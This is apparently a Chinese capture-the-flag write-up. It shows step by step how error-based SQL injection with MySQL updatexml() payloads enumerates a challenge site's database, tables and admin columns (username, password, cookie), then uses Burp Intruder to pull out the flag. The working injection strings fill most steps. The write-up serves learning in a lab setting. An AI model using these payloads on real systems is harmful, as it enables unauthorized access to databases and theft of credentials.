1、溜达一圈没看到什么,继续尝试一下sql注入
在查询页面抓个包
2、加个单引号,查看一下,会有一个报错,想着尝试一下显错注入。
3、查看一下,用户,果然可以
1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
4、继续查库,记录一下当前库名:wfy
1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
5、查表,这个地方需要更改一下limit,控制一下,然后输出所有表名
查第一个表:
1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 0,1),0x7e),1)--+
查第二个表:(这个地方就是给大家举例一下,就是更改的limit 1,1的位置,后面查询都是以此方式,就不挨个列出了)
1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 1,1),0x7e),1)--+
记录一下表名:wfy_admin、wfy_comments、wfy_information
一共三个表
5、继续查询列名,先查第一个表:wfy_admin
1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),1)--+
记录一下所有列名:id,username、password、cookie
这个地方,还是limit控制输出
6、我们再查询一下,数据
1'and updatexml(1,concat(0x7e,(select id from wfy_admin limit 0,1),0x7e),1)--+
这个地方,我犯错了,因为没有返回内容,以及题目提示,我认为我的思路有问题,有我没学到的知识点。
根据以往做题,题目好像都是存在amdin表中查询到flag,所以没有继续查询,wfy中的其他表,
所以就错过了flag,最后还是好哥哥解决的题目。
7、这边我们继续查询,wfy中的其他表,查看一下,是不是有其他内容
先查:wfy_comments表吧
1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_comments' limit 0,1),0x7e),1)--+
记录一下列名:id、text、user、name、display,一共五个列
8、查询一下数据,看看是否存在数据
1'and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+
这边确实存在数据,好消息!!!
多输入几位看看有多少行数据,测试了一下,有12列,可以更换列名,挨个尝试
9、我们继续text列有什么内容
这边我们可以添加一下变量,跑一下各个包,
burp发送到intruder,添加一下变量
payloads下设置一下
就可以开始跑了,我们查看一下,状态200的回复包,下面就会显示内容,我们依次翻看一下,
然后,就找到了flag
10、总结
经过这次比赛越发觉得自己的知识匮乏,这次比赛也就止步于此了,
接下来会继续学习,希望能有进步!!!
最后感谢 递归 trash can 师傅的指正,关于md5数组绕过的理解错误,发布的文章已经改正,希望不要误导更多人。(很开心,发现大师傅一枚,嘿嘿嘿!大师傅主页有更多的wp哦!)
希望能交到更多志趣相投的小伙伴!!!
我是大菜鸡!!!呜呜呜!!!